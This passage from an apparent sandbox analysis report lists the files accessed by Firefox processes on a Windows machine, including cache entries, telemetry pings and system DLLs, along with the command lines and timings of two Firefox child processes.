        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\6A76A59281CB3A7AC68DB9BF8B6D556AE6143544
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\FD118A45F3BEF03093C6AE970E12E22A37CA14A7
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\31926
        C:\WINDOWS\SYSTEM32\RPCRT4.DLL
        C:\WINDOWS\SYSTEM32\CRYPT32.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\E3C6D6FD9EC7E549A6FB8CE9A060A9FA1C05509A
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\F446C358036A91339069420C3A2A7C9C50FDAEAE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\B1D658415DD895D9FE270E6D3854AFDD795ED7C2
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\D70A24DC7A68EE41D18B8F81040EC0EAF67B4D78
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\48264E209B61627BA21A1D2C1228E548DE53B76C
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_192_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
        C:\WINDOWS\SYSTEM32\MSASN1.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\845FB8210689E40B72435606518FCD8F9DBD0974
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\1BDA01C8408A48409E0C578D93AF61F8E6D19C09
        C:\WINDOWS\SYSTEM32\WINTRUST.DLL
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_115_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\TMP-V3E.XPI
        C:\WINDOWS\FONTS\SEGOEUIB.TTF
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_191_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
        C:\WINDOWS\SYSTEM32\SHLWAPI.DLL
        C:\WINDOWS\SYSTEM32\GDI32.DLL
        C:\WINDOWS\SYSTEM32\USER32.DLL
        C:\WINDOWS\SYSTEM32\LPK.DLL
        C:\WINDOWS\SYSTEM32\USP10.DLL
        C:\WINDOWS\SYSTEM32\OLE32.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\EXTENSION-PREFERENCES.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\C2182FB18019F0DBC1ACBA843332BBB7A89EFD75
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\83F80ED5B15DA402401FA7E11FAEFEFEBA014246
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\3D43CE4D5218E67309490E0EA2E3BAC76A972B13
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\C184C4871FBD90E16BD29E354FC2356A34E1FE6C
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\58771F3710D243825A906D42B85CB812E29621EF
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\34CFD09719B443B0A838BE09123E9A4B203735A3
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\NTPH.CAT
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\NT5.CAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\URLCACHE-NEW.BIN
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-NEW.BIN
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-CHILD-NEW.BIN
        C:\WINDOWS\SYSTEM32\MSCTF.DLL
        C:\WINDOWS\SYSTEM32\WS2_32.DLL
        C:\WINDOWS\SYSTEM32\NSI.DLL
        C:\WINDOWS\SYSTEM32\OLEAUT32.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\ABAC94D4FAA003732FA085D6ADD8B12021C2256C
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\3C0B34D8FD01659D736AE7675223599A68A8A895
        C:\WINDOWS\SYSTEM32\SETUPAPI.DLL
        C:\WINDOWS\SYSTEM32\CFGMGR32.DLL
        C:\WINDOWS\SYSTEM32\DEVOBJ.DLL
        C:\WINDOWS\SYSTEM32\WLDAP32.DLL
        C:\WINDOWS\SYSTEM32\PSAPI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\191A9CFAA5753D7D6DCA531FB45E7443914E093F
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\ADDONS.JSON.TMP
        C:\WINDOWS\SYSTEM32\CLBCATQ.DLL
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-PEERTOPEER-FULL-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-CLIENT-FEATURES-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_1_FOR_KB976902~31BF3856AD364E35~AMD64~~6.1.1.17514.CAT
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-ICM-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-PARENTALCONTROLS-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\THUMBNAILS\542BC8CB4B84E8AD2DFD4F9762364B8B.PNG.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\THUMBNAILS\2122C5656DA3D86D77C08F7AF48C0268.PNG
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\17852
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\23069
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\5360
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\CE_T151C2VYQ29UDGV4DELKPTUSYSW=
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\TEMPORARY
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\DEFAULT
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_114_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
        C:\WINDOWS\SYSTEM32\URLMON.DLL
        C:\WINDOWS\SYSTEM32\IERTUTIL.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SESSIONSTORE.JSONLZ4.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\16923
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\WEBEXT.SC.LZ4.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\XULSTORE.JSON.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PENDING PINGS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\A63CC187-9955-40E0-9119-C93A9E68327D
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\EECC7A6A-06F9-49AE-9908-AB94381D0F30
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\SESSION-STATE.JSON.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-07\1626096063799.4CD02E87-A74C-426F-BF0E-3494E81DBC14.HEALTH.JSONLZ4.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\4CD02E87-A74C-426F-BF0E-3494E81DBC14.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ABORTED-SESSION-PING.TMP
        C:\PROGRAMDATA\MOZILLA\UNINSTALL_PING_308046B0AF4A39CB_24F718F2-5F1F-42CA-87B9-10FA6AC01CF4.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621057505097.61E90A08-A2E6-4E6F-B405-EFDC2170CAEF.NEW-PROFILE.JSONLZ4
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621057505111.D03CD1D0-3A42-40A8-A46B-B5FFEB004FAB.EVENT.JSONLZ4
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621057505119.EECC7A6A-06F9-49AE-9908-AB94381D0F30.MAIN.JSONLZ4
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621057505123.AFEEE423-542D-436B-BFEB-1D256892D34F.FIRST-SHUTDOWN.JSONLZ4
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621062326037.A63CC187-9955-40E0-9119-C93A9E68327D.HEALTH.JSONLZ4
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621062326149.36BC2313-A886-47DC-9DC3-F104C6ABF3AB.EVENT.JSONLZ4
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621062326152.505AD0C6-1378-4B12-8BA8-326E0843B1BA.HEALTH.JSONLZ4
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-05\1621062326205.5CA6E692-855F-4ACE-8F8F-A5C258B5FE64.MAIN.JSONLZ4
        C:\PROGRAMDATA\MOZILLA\UNINSTALL_PING_308046B0AF4A39CB_8DBABE2A-05F9-4726-890B-9971ABEF88C8.JSON.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-07\1626096064706.312DA651-EBBF-42E9-83E5-2F1A89E85517.EVENT.JSONLZ4.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\312DA651-EBBF-42E9-83E5-2F1A89E85517.TMP
        C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-07\1626096064709.E7F63D09-B212-4FE4-BDE4-9E7F1176C53F.HEALTH.JSONLZ4.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\E7F63D09-B212-4FE4-BDE4-9E7F1176C53F.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\ARCHIVED\2021-07\1626096064930.B0A70F9F-6DE7-46A8-B164-6CF26151ABC0.MAIN.JSONLZ4.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\B0A70F9F-6DE7-46A8-B164-6CF26151ABC0.TMP
        
        Process children
        
        1236
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.0.205672902\277295277" -PARENTBUILDID 20210504152106 -PREFSHANDLE 1092 -PREFMAPHANDLE 1084 -PREFSLEN 1 -PREFMAPSIZE 235499 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 1176 GPU
        
        Time lapse
        
        155.129076
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHQOS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\MFPLAT.DLL
        C:\WINDOWS\SYSTEM32\MF.DLL
        C:\WINDOWS\SYSTEM32\ATL.DLL
        C:\WINDOWS\SYSTEM32\KSUSER.DLL
        C:\WINDOWS\SYSTEM32\DXVA2.DLL
        C:\WINDOWS\SYSTEM32\EVR.DLL
        C:\WINDOWS\SYSTEM32\POWRPROF.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\MSMPEG2VDEC.DLL
        C:\WINDOWS\SYSTEM32\SLC.DLL
        C:\WINDOWS\SYSTEM32\SQMAPI.DLL
        C:\WINDOWS\SYSTEM32\BCRYPT.DLL
        C:\WINDOWS\FONTS\SEGOEUI.TTF
        C:\WINDOWS\FONTS\SEGUISB.TTF
        C:\WINDOWS\FONTS\SEGOEUIB.TTF
        
        2832
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.6.19800067\1275872800" -CHILDID 1 -ISFORBROWSER -PREFSHANDLE 1376 -PREFMAPHANDLE 1380 -PREFSLEN 500 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 1852 TAB
        
        Time lapse
        
        156.925095
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\OMNI.JA
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\OMNI.JA
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{70150699-0E81-4378-95FB-15FB40DBBB83}
        C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHQOS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
